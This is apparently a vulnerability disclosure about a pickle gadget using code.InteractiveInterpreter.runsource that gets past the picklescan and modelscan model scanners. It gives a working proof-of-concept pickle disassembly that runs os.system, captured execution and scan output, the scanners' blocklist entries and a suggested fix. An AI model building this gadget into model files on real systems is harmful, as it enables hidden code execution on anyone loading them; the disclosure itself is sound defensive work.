| # code.InteractiveInterpreter.runsource pickle gadget bypasses picklescan 1.0.5 and modelscan 0.8.8 (Python 3.13) |
|
|
| **Category:** Pickle deserialization / scanner-bypass β new RCE gadget |
| **Targets:** |
| - picklescan **1.0.5** (latest on PyPI) β https://github.com/mmaitre314/picklescan |
| - modelscan **0.8.8** (latest on PyPI) β https://github.com/protectai/modelscan |
| **Tested runtime:** CPython **3.13.12**, joblib **1.5.3** |
| **Scanner runtime:** Python 3.12 venv (modelscan requires `<3.13`); picklescan 1.0.5 also run there. |
|
|
| --- |
|
|
| ## Summary |
|
|
| A pickle stream that instantiates `code.InteractiveInterpreter` and then calls its |
| **`runsource`** unbound method reaches `exec()` at unpickle time, achieving arbitrary |
| code execution. Neither picklescan 1.0.5 nor modelscan 0.8.8 flags it: |
|
|
| - **picklescan 1.0.5** blocklists the stdlib `code` module with a single exact-string |
| entry that names only `InteractiveInterpreter.runcode`. It does **not** list |
| `InteractiveInterpreter.runsource`. Both globals in the payload are classified as |
| merely **Suspicious** (0 Dangerous / 0 Infected) β identical to how it treats the |
| gadgets it already accepts as covered. |
| - **modelscan 0.8.8** does not include the `code` module in its `unsafe_globals` at |
| all, and reports **"No issues found"**. |
|
|
| ## Root cause |
|
|
| `code.InteractiveInterpreter.runsource` compiles a source string and executes it: |
|
|
| ```python |
| # CPython Lib/code.py (unchanged on 3.13) |
| class InteractiveInterpreter: |
| def runsource(self, source, filename="<input>", symbol="single"): |
| try: |
| code = self.compile(source, filename, symbol) # compile() the source |
| except (OverflowError, SyntaxError, ValueError): |
| self.showsyntaxerror(filename) |
| return False |
| if code is None: |
| return True |
| self.runcode(code) # -> exec(code, self.locals) |
| return False |
| |
| def runcode(self, code): |
| try: |
| exec(code, self.locals) # <-- arbitrary code execution |
| ... |
| ``` |
|
|
| picklescan's blocklist entry for the `code` module (picklescan 1.0.5, |
| `src/picklescan/scanner.py`, `_unsafe_globals`): |
|
|
| ```python |
| _unsafe_globals = { |
| ... |
| "code": {"InteractiveInterpreter.runcode"}, # <-- runsource is NOT listed |
| ... |
| } |
| ``` |
|
|
| Because `runsource` compiles with `symbol="exec"` and then delegates straight to |
| `runcode` -> `exec`, calling `runsource` is exactly as dangerous as calling |
| `runcode`, but only `runcode` is on the blocklist. modelscan never lists the `code` |
| module, so it misses both entrypoints. |
|
|
| ## PoC |
|
|
| A 183-byte protocol-4 pickle. A REDUCE chain (1) instantiates |
| `code.InteractiveInterpreter()`, then (2) calls the `runsource` unbound method with |
| `(instance, malicious_source, "<input>", "exec")`. `runsource` compiles the source in |
| `exec` mode and runs it via `runcode` -> `exec`. |
|
|
| Generator: `gen_poc.py`. Artifacts: `evil.pkl`, `evil.joblib` (identical bytes β |
| a joblib container is itself a pickle stream), `control_os.pkl` (negative control). |
|
|
| Disassembly of `evil.pkl`: |
|
|
| ``` |
| 0: \x80 PROTO 4 |
| 2: c GLOBAL 'code InteractiveInterpreter.runsource' |
| 41: ( MARK |
| 42: c GLOBAL 'code InteractiveInterpreter' |
| 71: ) EMPTY_TUPLE |
| 72: R REDUCE # instance = InteractiveInterpreter() |
| 73: \x8c SHORT_BINUNICODE "import os; os.system('id > PWNED_MARKER ...')" |
| 165: \x8c SHORT_BINUNICODE '<input>' |
| 174: \x8c SHORT_BINUNICODE 'exec' |
| 180: t TUPLE (MARK at 41) |
| 181: R REDUCE # runsource(instance, source, '<input>', 'exec') -> exec |
| 182: . STOP |
| ``` |
|
|
| The malicious source executed is: |
| `import os; os.system("id > PWNED_MARKER 2>&1; echo CODE_RUNSOURCE_GADGET >> PWNED_MARKER")` |
|
|
| ## Captured evidence (verbatim) |
|
|
| ### EXECUTE β CPython 3.13.12, `pickle.load(open('evil.pkl','rb'))` |
| `PWNED_MARKER` written: |
| ``` |
| uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),102(scanner),118(wireshark),119(kaboxer),982(bluetooth),999(lpadmin) |
| CODE_RUNSOURCE_GADGET |
| ``` |
|
|
| ### EXECUTE β CPython 3.13.12, `joblib.load('evil.joblib')` (joblib 1.5.3) |
| `PWNED_MARKER` written: same `uid=1000(kali) ...` output followed by `CODE_RUNSOURCE_GADGET`. |
|
|
| ### picklescan 1.0.5 β `evil.pkl` |
| ``` |
| Scanned files: 1 |
| Infected files: 0 |
| Suspicious globals: 2 |
| Dangerous globals: 0 |
| (exit=0) |
| ``` |
| Globals seen: `GLOBAL 'code InteractiveInterpreter.runsource'`, `GLOBAL 'code InteractiveInterpreter'` β both classified Suspicious, none Dangerous. |
|
|
| ### modelscan 0.8.8 β `evil.pkl` |
| ``` |
| Scanning ... using modelscan.scanners.PickleUnsafeOpScan model |
| --- Summary --- |
| No issues found! π |
| (exit=0) |
| ``` |
|
|
| ### Negative control β `control_os.pkl` (classic `posix.system` reduce) |
| Proves detection is live in both scanners. |
| |
| picklescan 1.0.5: |
| ``` |
| control_os.pkl: dangerous import 'posix system' FOUND |
| Infected files: 1 |
| Dangerous globals: 1 |
| ``` |
| |
| modelscan 0.8.8: |
| ``` |
| Total Issues: 1 |
| Total Issues By Severity: CRITICAL: 1 |
| "Use of unsafe operator 'system' from module 'posix'" |
| (exit=1) |
| ``` |
| |
| ## Impact |
| |
| Any workflow that scans a `.pkl` / `.joblib` / pickle-backed model file with |
| picklescan 1.0.5 or modelscan 0.8.8 and then loads it (e.g. Hugging Face model |
| loading, joblib-serialized sklearn models) will pass the scan yet execute attacker |
| code on `load`. Both tools are the de-facto pre-load scanners for the ML supply chain. |
| |
| ## Dedup / prior-art note |
| |
| - No CVE or public advisory references `code.InteractiveInterpreter.runsource` (or |
| `runcode`) as a pickle gadget at the time of writing. |
| - Distinct from all 15 gadgets picklescan already covers in its blocklist |
| (`marshal.loads`, `types.FunctionType`, `operator.call`, `dataclasses._create_fn`, |
| `pydoc.pipepager`, `cProfile`/`timeit`, `posix.spawnv_passfds`, |
| `logging.config.dictConfig`, etc.). |
| - The related `code.InteractiveConsole` subclass and the `runcode` method are already |
| on picklescan's list; `runsource` on the base `InteractiveInterpreter` class is the |
| gap. It is the natural sibling entrypoint (compile+exec) and is missed by an exact |
| string-match blocklist. |
| - No prior Hugging Face repo or local workspace file references |
| `code` / `runsource` / `InteractiveInterpreter` as a gadget. |
| |
| ## Suggested fix |
| |
| picklescan should add `InteractiveInterpreter.runsource` (and, for completeness, |
| `InteractiveConsole.runsource` / `push` / `interact`, and `compile_command`) to the |
| `code` module entry β or blocklist the `code` module wholesale. modelscan should add |
| the `code` module to its `unsafe_globals`. A method-name allowlist/blocklist that |
| enumerates individual methods is inherently fragile against sibling entrypoints that |
| funnel into the same `exec`. |
| |